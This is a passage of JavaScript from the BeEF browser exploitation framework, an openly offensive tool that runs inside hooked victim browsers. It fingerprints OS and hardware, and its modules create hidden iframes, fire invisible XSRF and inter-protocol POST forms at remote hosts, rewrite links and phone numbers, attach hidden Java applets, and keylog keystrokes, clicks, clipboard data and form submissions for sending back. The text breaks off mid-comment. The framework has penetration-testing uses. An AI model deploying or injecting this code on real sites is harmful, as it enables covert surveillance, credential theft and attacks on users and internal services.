- beef.regCmp('beef.session');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- beef.os = {
- ua: navigator.userAgent,
- /**
- * Detect default browser (IE only)
- * Written by unsticky
- * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
- */
- getDefaultBrowser: function() {
- var result = "Unknown"
- try {
- var mt = document.mimeType;
- if (mt) {
- if (mt == "Safari Document") result = "Safari";
- if (mt == "Firefox HTML Document") result = "Firefox";
- if (mt == "Chrome HTML Document") result = "Chrome";
- if (mt == "HTML Document") result = "Internet Explorer";
- if (mt == "Opera Web Document") result = "Opera";
- }
- } catch (e) {
- beef.debug("[os] getDefaultBrowser: "+e.message);
- }
- return result;
- },
- // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
- isWin311: function() {
- return (this.ua.match('(Win16)')) ? true : false;
- },
- isWinNT4: function() {
- return (this.ua.match('(Windows NT 4.0)')) ? true : false;
- },
- isWin95: function() {
- return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
- },
- isWinCE: function() {
- return (this.ua.match('(Windows CE)')) ? true : false;
- },
- isWin98: function() {
- return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
- },
- isWinME: function() {
- return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
- },
- isWin2000: function() {
- return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
- },
- isWin2000SP1: function() {
- return (this.ua.match('Windows NT 5.01 ')) ? true : false;
- },
- isWinXP: function() {
- return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
- },
- isWinServer2003: function() {
- return (this.ua.match('(Windows NT 5.2)')) ? true : false;
- },
- isWinVista: function() {
- return (this.ua.match('(Windows NT 6.0)')) ? true : false;
- },
- isWin7: function() {
- return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
- },
- isWin8: function() {
- return (this.ua.match('(Windows NT 6.2)')) ? true : false;
- },
- isWin81: function() {
- return (this.ua.match('(Windows NT 6.3)')) ? true : false;
- },
- isWin10: function() {
- return (this.ua.match('Windows NT 10.0')) ? true : false;
- },
- isOpenBSD: function() {
- return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
- },
- isSunOS: function() {
- return (this.ua.indexOf('SunOS') != -1) ? true : false;
- },
- isLinux: function() {
- return (this.ua.match('(Linux)|(X11)')) ? true : false;
- },
- isMacintosh: function() {
- return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
- },
- isOsxYosemite: function(){ // TODO
- return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
- },
- isOsxMavericks: function(){ // TODO
- return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
- },
- isOsxSnowLeopard: function(){ // TODO
- return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
- },
- isOsxLeopard: function(){ // TODO
- return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
- },
- isWinPhone: function() {
- return (this.ua.match('(Windows Phone)')) ? true : false;
- },
- isIphone: function() {
- return (this.ua.indexOf('iPhone') != -1) ? true : false;
- },
- isIpad: function() {
- return (this.ua.indexOf('iPad') != -1) ? true : false;
- },
- isIpod: function() {
- return (this.ua.indexOf('iPod') != -1) ? true : false;
- },
- isNokia: function() {
- return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
- },
- isAndroid: function() {
- return (this.ua.match('Android')) ? true : false;
- },
- isBlackBerry: function() {
- return (this.ua.match('BlackBerry')) ? true : false;
- },
- isWebOS: function() {
- return (this.ua.match('webOS')) ? true : false;
- },
- isQNX: function() {
- return (this.ua.match('QNX')) ? true : false;
- },
- isBeOS: function() {
- return (this.ua.match('BeOS')) ? true : false;
- },
- isAros: function() {
- return (this.ua.match('AROS')) ? true : false;
- },
- isWindows: function() {
- return (this.ua.match('Windows')) ? true : false;
- },
- getName: function() {
- if(this.isWindows()){
- return 'Windows';
- }
- if(this.isMacintosh()) {
- return 'OSX';
- }
- //Nokia
- if(this.isNokia()) {
- if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
- if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
- if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
- }
- // BlackBerry
- if(this.isBlackBerry()) return 'BlackBerry OS';
- // Android
- if(this.isAndroid()) return 'Android';
- // SunOS
- if(this.isSunOS()) return 'SunOS';
- //Linux
- if(this.isLinux()) return 'Linux';
- //iPhone
- if (this.isIphone()) return 'iOS';
- //iPad
- if (this.isIpad()) return 'iOS';
- //iPod
- if (this.isIpod()) return 'iOS';
- //others
- if(this.isQNX()) return 'QNX';
- if(this.isBeOS()) return 'BeOS';
- if(this.isWebOS()) return 'webOS';
- if(this.isAros()) return 'AROS';
- return 'unknown';
- },
- getVersion: function(){
- //Windows
- if(this.isWindows()) {
- if (this.isWin10()) return '10';
- if (this.isWin81()) return '8.1';
- if (this.isWin8()) return '8';
- if (this.isWin7()) return '7';
- if (this.isWinVista()) return 'Vista';
- if (this.isWinXP()) return 'XP';
- if (this.isWinServer2003()) return 'Server 2003';
- if (this.isWin2000SP1()) return '2000 SP1';
- if (this.isWin2000()) return '2000';
- if (this.isWinME()) return 'Millenium';
- if (this.isWinNT4()) return 'NT 4';
- if (this.isWinCE()) return 'CE';
- if (this.isWin95()) return '95';
- if (this.isWin98()) return '98';
- }
- // OS X
- if(this.isMacintosh()) {
- if (this.isOsxYosemite()) return '10.10';
- if (this.isOsxMavericks()) return '10.9';
- if (this.isOsxSnowLeopard()) return '10.8';
- if (this.isOsxLeopard()) return '10.7';
- }
- // TODO add Android/iOS version detection
- }
- };
- beef.regCmp('beef.net.os');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- beef.hardware = {
- ua: navigator.userAgent,
- /*
- * @return: {String} CPU type
- **/
- cpuType: function() {
- var arch = 'UNKNOWN';
- // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
- // in detecting the OS arch rather than the browser build
- if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
- arch = 'x86_64';
- }else if(typeof navigator.cpuClass != 'undefined'){
- switch (navigator.cpuClass) {
- case '68K':
- arch = 'Motorola 68K';
- break;
- case 'PPC':
- arch = 'Motorola PPC';
- break;
- case 'Digital':
- arch = 'Alpha';
- break;
- default:
- arch = 'x86';
- }
- }
- // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
- // For example, if OSX is at least 10.7, most certainly is 64 bit.
- return arch;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isTouchEnabled: function() {
- if ('ontouchstart' in document) return true;
- return false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isVirtualMachine: function() {
- if (this.isMobileDevice()) return false;
- if (screen.width % 2 || screen.height % 2) return true;
- return false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isLaptop: function() {
- if (this.isMobileDevice()) return false;
- // Most common laptop screen resolution
- if (screen.width == 1366 && screen.height == 768) return true;
- // Netbooks
- if (screen.width == 1024 && screen.height == 600) return true;
- return false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isNokia: function() {
- return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isZune: function() {
- return (this.ua.match('ZuneWP7')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isHtc: function() {
- return (this.ua.match('HTC')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isEricsson: function() {
- return (this.ua.match('Ericsson')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isMotorola: function() {
- return (this.ua.match('Motorola')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isGoogle: function() {
- return (this.ua.match('Nexus One')) ? true : false;
- },
- /**
- * Returns true if the browser is on a Mobile device
- * @return: {Boolean} true or false
- *
- * @example: if(beef.hardware.isMobileDevice()) { ... }
- **/
- isMobileDevice: function() {
- return MobileEsp.DetectMobileQuick();
- },
- /**
- * Returns true if the browser is on a game console
- * @return: {Boolean} true or false
- *
- * @example: if(beef.hardware.isGameConsole()) { ... }
- **/
- isGameConsole: function() {
- return MobileEsp.DetectGameConsole();
- },
- getName: function() {
- var ua = navigator.userAgent.toLowerCase();
- if(MobileEsp.DetectIphone()) { return "iPhone"};
- if(MobileEsp.DetectIpod()) { return "iPod Touch"};
- if(MobileEsp.DetectIpad()) { return "iPad"};
- if (this.isHtc()) { return 'HTC'};
- if (this.isMotorola()) { return 'Motorola'};
- if (this.isZune()) { return 'Zune'};
- if (this.isGoogle()) { return 'Google Nexus One'};
- if (this.isEricsson()) { return 'Ericsson'};
- if(MobileEsp.DetectAndroidPhone()) { return "Android Phone"};
- if(MobileEsp.DetectAndroidTablet()) { return "Android Tablet"};
- if(MobileEsp.DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
- if(ua.search(MobileEsp.deviceS60) > -1) { return "Nokia S60"};
- if(ua.search(MobileEsp.deviceS70) > -1) { return "Nokia S70"};
- if(ua.search(MobileEsp.deviceS80) > -1) { return "Nokia S80"};
- if(ua.search(MobileEsp.deviceS90) > -1) { return "Nokia S90"};
- if(ua.search(MobileEsp.deviceSymbian) > -1) { return "Nokia Symbian"};
- if (this.isNokia()) { return 'Nokia'};
- if(MobileEsp.DetectWindowsPhone7()) { return "Windows Phone 7"};
- if(MobileEsp.DetectWindowsPhone8()) { return "Windows Phone 8"};
- if(MobileEsp.DetectWindowsPhone10()) { return "Windows Phone 10"};
- if(MobileEsp.DetectWindowsMobile()) { return "Windows Mobile"};
- if(MobileEsp.DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
- if(MobileEsp.DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
- if(MobileEsp.DetectBlackBerryTouch()) { return "BlackBerry Touch"};
- if(MobileEsp.DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
- if(MobileEsp.DetectBlackBerry()) { return "BlackBerry"};
- if(MobileEsp.DetectPalmOS()) { return "Palm OS"};
- if(MobileEsp.DetectPalmWebOS()) { return "Palm Web OS"};
- if(MobileEsp.DetectGarminNuvifone()) { return "Gamin Nuvifone"};
- if(MobileEsp.DetectArchos()) { return "Archos"}
- if(MobileEsp.DetectBrewDevice()) { return "Brew"};
- if(MobileEsp.DetectDangerHiptop()) { return "Danger Hiptop"};
- if(MobileEsp.DetectMaemoTablet()) { return "Maemo Tablet"};
- if(MobileEsp.DetectSonyMylo()) { return "Sony Mylo"};
- if(MobileEsp.DetectAmazonSilk()) { return "Kindle Fire"};
- if(MobileEsp.DetectKindle()) { return "Kindle"};
- if(MobileEsp.DetectSonyPlaystation()) { return "Playstation"};
- if(ua.search(MobileEsp.deviceNintendoDs) > -1) { return "Nintendo DS"};
- if(ua.search(MobileEsp.deviceWii) > -1) { return "Nintendo Wii"};
- if(ua.search(MobileEsp.deviceNintendo) > -1) { return "Nintendo"};
- if(MobileEsp.DetectXbox()) { return "Xbox"};
- if(this.isLaptop()) { return "Laptop"};
- if(this.isVirtualMachine()) { return "Virtual Machine"};
- return 'Unknown';
- }
- };
- beef.regCmp('beef.hardware');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.dom
- *
- * Provides functionality to manipulate the DOM.
- */
- beef.dom = {
- /**
- * Generates a random ID for HTML elements
- * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
- * @return: generated id
- */
- generateID: function(prefix) {
- return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
- },
- /**
- * Creates a new element but does not append it to the DOM.
- * @param: {String} the name of the element.
- * @param: {Literal Object} the attributes of that element.
- * @return: the created element.
- */
- createElement: function(type, attributes) {
- var el = document.createElement(type);
- for(index in attributes) {
- if(typeof attributes[index] == 'string') {
- el.setAttribute(index, attributes[index]);
- }
- }
- return el;
- },
- /**
- * Removes element from the DOM.
- * @param: {String or DOM Object} the target element to be removed.
- */
- removeElement: function(el) {
- if (!beef.dom.isDOMElement(el))
- {
- el = document.getElementById(el);
- }
- try {
- el.parentNode.removeChild(el);
- } catch (e) { }
- },
- /**
- * Tests if the object is a DOM element.
- * @param: {Object} the DOM element.
- * @return: true if the object is a DOM element.
- */
- isDOMElement: function(obj) {
- return (obj.nodeType) ? true : false;
- },
- /**
- * Creates an invisible iframe on the hook browser's page.
- * @return: the iframe.
- */
- createInvisibleIframe: function() {
- var iframe = this.createElement('iframe', {
- width: '1px',
- height: '1px',
- style: 'visibility:hidden;'
- });
- document.body.appendChild(iframe);
- return iframe;
- },
- /**
- * Returns the highest current z-index
- * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
- * @return: {Integer} Highest z-index in the DOM
- * OR
- * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
- */
- getHighestZindex: function(include_id) {
- var highest = {'height':0, 'elem':''};
- $j('*').each(function() {
- var current_high = parseInt($j(this).css("zIndex"),10);
- if (current_high > highest.height) {
- highest.height = current_high;
- highest.elem = $j(this).attr('id');
- }
- });
- if (include_id) {
- return highest;
- } else {
- return highest.height;
- }
- },
- /**
- * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
- * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
- * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
- * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
- * @param: {Hash} params: list of params that will be sent in request.
- * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
- * @param: {Function} a callback function to fire once the iFrame has loaded
- * @return: {Object} the inserted iFrame
- *
- */
- createIframe: function(type, params, styles, onload) {
- var css = {};
- if (type == 'hidden') {
- css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
- } else if (type == 'fullscreen') {
- css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
- $j('body').css({'padding':'0px', 'margin':'0px'});
- } else {
- css = styles;
- $j('body').css({'padding':'0px', 'margin':'0px'});
- }
- var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
- return iframe;
- },
- /**
- * Load the link (href value) in an overlay foreground iFrame.
- * The BeEF hook continues to run in background.
- * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
- * Framebusting techniques, this will not work.
- */
- persistentIframe: function(){
- $j('a').click(function(e) {
- if ($j(this).attr('href') != '')
- {
- e.preventDefault();
- beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
- $j(document).attr('title', $j(this).html());
- document.body.scroll = "no";
- document.documentElement.style.overflow = 'hidden';
- }
- });
- },
- /**
- * Load a full screen div that is black, or, transparent
- * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
- * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
- * opacity:0-100 // Lower number = less grayout higher = more of a blackout
- * // By default this is 70
- * zindex: # // HTML elements with a higher zindex appear on top of the gray out
- * // By default this will use beef.dom.getHighestZindex to always go to the top
- * bgcolor: (#xxxxxx) // Standard RGB Hex color code
- * // By default this is #000000
- */
- grayOut: function(vis, options) {
- // in any order. Pass only the properties you need to set.
- var options = options || {};
- var zindex = options.zindex || beef.dom.getHighestZindex()+1;
- var opacity = options.opacity || 70;
- var opaque = (opacity / 100);
- var bgcolor = options.bgcolor || '#000000';
- var dark=document.getElementById('darkenScreenObject');
- if (!dark) {
- // The dark layer doesn't exist, it's never been created. So we'll
- // create it here and apply some basic styles.
- // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
- var tbody = document.getElementsByTagName("body")[0];
- var tnode = document.createElement('div'); // Create the layer.
- tnode.style.position='absolute'; // Position absolutely
- tnode.style.top='0px'; // In the top
- tnode.style.left='0px'; // Left corner of the page
- tnode.style.overflow='hidden'; // Try to avoid making scroll bars
- tnode.style.display='none'; // Start out Hidden
- tnode.id='darkenScreenObject'; // Name it so we can find it later
- tbody.appendChild(tnode); // Add it to the web page
- dark=document.getElementById('darkenScreenObject'); // Get the object.
- }
- if (vis) {
- // Calculate the page width and height
- if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
- var pageWidth = document.body.scrollWidth+'px';
- var pageHeight = document.body.scrollHeight+'px';
- } else if( document.body.offsetWidth ) {
- var pageWidth = document.body.offsetWidth+'px';
- var pageHeight = document.body.offsetHeight+'px';
- } else {
- var pageWidth='100%';
- var pageHeight='100%';
- }
- //set the shader to cover the entire page and make it visible.
- dark.style.opacity=opaque;
- dark.style.MozOpacity=opaque;
- dark.style.filter='alpha(opacity='+opacity+')';
- dark.style.zIndex=zindex;
- dark.style.backgroundColor=bgcolor;
- dark.style.width= pageWidth;
- dark.style.height= pageHeight;
- dark.style.display='block';
- } else {
- dark.style.display='none';
- }
- },
- /**
- * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
- * or, re-writing a document this is useful.
- */
- removeStylesheets: function() {
- $j('link[rel=stylesheet]').remove();
- $j('style').remove();
- },
- /**
- * Create a form element with the specified parameters, appending it to the DOM if append == true
- * @param: {Hash} params: params to be applied to the form element
- * @param: {Boolean} append: automatically append the form to the body
- * @return: {Object} a form object
- */
- createForm: function(params, append) {
- var form = $j('<form></form>').attr(params);
- if (append)
- $j('body').append(form);
- return form;
- },
- loadScript: function(url) {
- var s = document.createElement('script');
- s.type = 'text/javascript';
- s.src = url;
- $j('body').append(s);
- },
- /**
- * Get the location of the current page.
- * @return: the location.
- */
- getLocation: function() {
- return document.location.href;
- },
- /**
- * Get links of the current page.
- * @return: array of URLs.
- */
- getLinks: function() {
- var linksarray = [];
- var links = document.links;
- for(var i = 0; i<links.length; i++) {
- linksarray = linksarray.concat(links[i].href)
- };
- return linksarray
- },
- /**
- * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
- * @param: {String} url: the url to be rewritten
- * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
- * @return: {Number} the amount of links found in the DOM and rewritten.
- */
- rewriteLinks: function(url, selector) {
- var sel = (selector == null) ? 'a' : selector;
- return $j(sel).each(function() {
- if ($j(this).attr('href') != null)
- {
- $j(this).attr('href', url).click(function() { return true; });
- }
- }).length;
- },
- /**
- * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
- * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
- * @param: {String} url: the url to be rewritten
- * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
- * @return: {Number} the amount of links found in the DOM and rewritten.
- */
- rewriteLinksClickEvents: function(url, selector) {
- var sel = (selector == null) ? 'a' : selector;
- return $j(sel).each(function() {
- if ($j(this).attr('href') != null)
- {
- $j(this).click(function() {this.href=url});
- }
- }).length;
- },
- /**
- * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
- * @param: {String} old_protocol: the old link protocol to be rewritten
- * @param: {String} new_protocol: the new link protocol to be written
- * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
- * @return: {Number} the amount of links found in the DOM and rewritten.
- */
- rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
- var count = 0;
- var re = new RegExp(old_protocol+"://", "gi");
- var sel = (selector == null) ? 'a' : selector;
- $j(sel).each(function() {
- if ($j(this).attr('href') != null) {
- var url = $j(this).attr('href');
- if (url.match(re)) {
- $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
- count++;
- }
- }
- });
- return count;
- },
- /**
- * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
- * @param: {String} new_number: the new link telephone number to be written
- * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
- * @return: {Number} the amount of links found in the DOM and rewritten.
- */
- rewriteTelLinks: function(new_number, selector) {
- var count = 0;
- var re = new RegExp("tel:/?/?.*", "gi");
- var sel = (selector == null) ? 'a' : selector;
- $j(sel).each(function() {
- if ($j(this).attr('href') != null) {
- var url = $j(this).attr('href');
- if (url.match(re)) {
- $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
- count++;
- }
- }
- });
- return count;
- },
- /**
- * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
- * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
- * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
- */
- parseAppletParams: function(params){
- var result = '';
- for (i in params){
- var param = params[i];
- for(key in param){
- result += "<param name='" + key + "' value='" + param[key] + "' />";
- }
- }
- return result;
- },
- /**
- * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
- * example usage in the code, using a JAR archive (recommended and faster):
- * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
- * example usage in the code, using codebase:
- * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
- * @params: {String} id: reference identifier to the applet.
- * @params: {String} code: name of the class to be loaded. For example, beef.class.
- * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
- * @params: {String} archive: the jar that contains the code.
- * @params: {String} params: an array of additional params that the applet except.
- */
- attachApplet: function(id, name, code, codebase, archive, params) {
- var content = null;
- if (beef.browser.isIE()) {
- content = "" + // the classid means 'use the latest JRE available to launch the applet'
- "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
- "height='0' width='0' name='" + name + "'> " +
- "<param name='code' value='" + code + "' />";
- if (codebase != null) {
- content += "<param name='codebase' value='" + codebase + "' />"
- }
- if (archive != null){
- content += "<param name='archive' value='" + archive + "' />";
- }
- if (params != null) {
- content += beef.dom.parseAppletParams(params);
- }
- content += "</object>";
- }
- if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
- if (codebase != null) {
- content = "" +
- "<applet id='" + id + "' code='" + code + "' " +
- "codebase='" + codebase + "' " +
- "height='0' width='0' name='" + name + "'>";
- } else {
- content = "" +
- "<applet id='" + id + "' code='" + code + "' " +
- "archive='" + archive + "' " +
- "height='0' width='0' name='" + name + "'>";
- }
- if (params != null) {
- content += beef.dom.parseAppletParams(params);
- }
- content += "</applet>";
- }
- // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
- // if (beef.browser.isFF()) {
- // if (codebase != null) {
- // content = "" +
- // "<embed id='" + id + "' code='" + code + "' " +
- // "type='application/x-java-applet' codebase='" + codebase + "' " +
- // "height='0' width='0' name='" + name + "'>";
- // } else {
- // content = "" +
- // "<embed id='" + id + "' code='" + code + "' " +
- // "type='application/x-java-applet' archive='" + archive + "' " +
- // "height='0' width='0' name='" + name + "'>";
- // }
- //
- // if (params != null) {
- // content += beef.dom.parseAppletParams(params);
- // }
- // content += "</embed>";
- // }
- $j('body').append(content);
- },
- /**
- * Given an id, remove the applet from the DOM.
- * @params: {String} id: reference identifier to the applet.
- */
- detachApplet: function(id) {
- $j('#' + id + '').detach();
- },
- /**
- * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
- * @params: {String} action: the form action attribute, where the request will be sent.
- * @params: {String} method: HTTP method, usually POST.
- * @params: {String} enctype: form encoding type
- * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
- * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
- */
- createIframeXsrfForm: function(action, method, enctype, inputs){
- var iframeXsrf = beef.dom.createInvisibleIframe();
- var formXsrf = document.createElement('form');
- formXsrf.setAttribute('action', action);
- formXsrf.setAttribute('method', method);
- formXsrf.setAttribute('enctype', enctype);
- var input = null;
- for (i in inputs){
- var attributes = inputs[i];
- input = document.createElement('input');
- for(key in attributes){
- if (key == 'name' && attributes[key] == 'submit') {
- // workaround for https://github.com/beefproject/beef/issues/1117
- beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
- input.setAttribute('Submit', attributes[key]);
- } else {
- input.setAttribute(key, attributes[key]);
- }
- }
- formXsrf.appendChild(input);
- }
- iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
- formXsrf.submit();
- return iframeXsrf;
- },
- /**
- * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
- * @params: {String} rhost: remote host ip/domain
- * @params: {String} rport: remote port
- * @params: {String} commands: protocol commands to be executed by the remote host:port service
- */
- createIframeIpecForm: function(rhost, rport, path, commands){
- var iframeIpec = beef.dom.createInvisibleIframe();
- var formIpec = document.createElement('form');
- formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
- formIpec.setAttribute('method', 'POST');
- formIpec.setAttribute('enctype', 'multipart/form-data');
- input = document.createElement('textarea');
- input.setAttribute('name', Math.random().toString(36).substring(5));
- input.value = commands;
- formIpec.appendChild(input);
- iframeIpec.contentWindow.document.body.appendChild(formIpec);
- formIpec.submit();
- return iframeIpec;
- }
- };
- beef.regCmp('beef.dom');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.logger
- *
- * Provides logging capabilities.
- */
- beef.logger = {
- running: false,
- /**
- * Internal logger id
- */
- id: 0,
- /**
- * Holds events created by user, to be sent back to BeEF
- */
- events: [],
- /**
- * Holds current stream of key presses
- */
- stream: [],
- /**
- * Contains current target of key presses
- */
- target: null,
- /**
- * Holds the time the logger was started
- */
- time: null,
- /**
- * Holds the event details to be sent to BeEF
- */
- e: function() {
- this.id = beef.logger.get_id();
- this.time = beef.logger.get_timestamp();
- this.type = null;
- this.x = 0;
- this.y = 0;
- this.target = null;
- this.data = null;
- this.mods = null;
- },
- /**
- * Prevents from recursive event handling on form submission
- */
- in_submit: false,
- /**
- * Starts the logger
- */
- start: function() {
- beef.browser.hookChildFrames();
- this.running = true;
- var d = new Date();
- this.time = d.getTime();
- $j(document).off('keypress');
- $j(document).off('click');
- $j(window).off('focus');
- $j(window).off('blur');
- $j('form').off('submit');
- $j(document.body).off('copy');
- $j(document.body).off('cut');
- $j(document.body).off('paste');
- if (!!window.console && typeof window.console == "object") {
- try {
- var oldInfo = window.console.info;
- console.info = function (message) {
- beef.logger.console('info', message);
- oldInfo.apply(console, arguments);
- };
- var oldLog = window.console.log;
- console.log = function (message) {
- beef.logger.console('log', message);
- oldLog.apply(console, arguments);
- };
- var oldWarn = window.console.warn;
- console.warn = function (message) {
- beef.logger.console('warn', message);
- oldWarn.apply(console, arguments);
- };
- var oldDebug = window.console.debug;
- console.debug = function (message) {
- beef.logger.console('debug', message);
- oldDebug.apply(console, arguments);
- };
- var oldError = window.console.error;
- console.error = function (message) {
- beef.logger.console('error', message);
- oldError.apply(console, arguments);
- };
- } catch(e) {}
- }
- $j(document).keypress(
- function(e) { beef.logger.keypress(e); }
- ).click(
- function(e) { beef.logger.click(e); }
- );
- $j(window).focus(
- function(e) { beef.logger.win_focus(e); }
- ).blur(
- function(e) { beef.logger.win_blur(e); }
- );
- $j('form').submit(
- function(e) {
- beef.logger.submit(e);
- }
- );
- $j(document.body).on('copy', function() {
- setTimeout("beef.logger.copy();", 10);
- });
- $j(document.body).on('cut', function() {
- setTimeout("beef.logger.cut();", 10);
- });
- $j(document.body).on('paste', function() {
- beef.logger.paste();
- });
- },
- /**
- * Stops the logger
- */
- stop: function() {
- this.running = false;
- clearInterval(this.timer);
- $j(document).off('keypress');
- $j(document).off('click');
- $j(window).off('focus');
- $j(window).off('blur');
- $j('form').off('submit');
- $j(document.body).off('copy');
- $j(document.body).off('cut');
- $j(document.body).off('paste');
- // TODO: reset console
- },
- /**
- * Get id
- */
- get_id: function() {
- this.id++;
- return this.id;
- },
- /**
- * Click function fires when the user clicks the mouse.
- */
- click: function(e) {
- var c = new beef.logger.e();
- c.type = 'click';
- c.x = e.pageX;
- c.y = e.pageY;
- c.target = beef.logger.get_dom_identifier(e.target);
- this.events.push(c);
- },
- /**
- * Fires when the window element has regained focus
- */
- win_focus: function(e) {
- var f = new beef.logger.e();
- f.type = 'focus';
- this.events.push(f);
- },
- /**
- * Fires when the window element has lost focus
- */
- win_blur: function(e) {
- var b = new beef.logger.e();
- b.type = 'blur';
- this.events.push(b);
- },
- /**
- * Keypress function fires everytime a key is pressed.
- * @param {Object} e: event object
- */
- keypress: function(e) {
- if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
- {
- beef.logger.push_stream();
- this.target = e.target;
- }
- this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
- },
- /**
- * Copy function fires when the user copies data to the clipboard.
- */
- copy: function(x) {
- try {
- var c = new beef.logger.e();
- c.type = 'copy';
- c.data = clipboardData.getData("Text");
- this.events.push(c);
- } catch(e) {}
- },
- /**
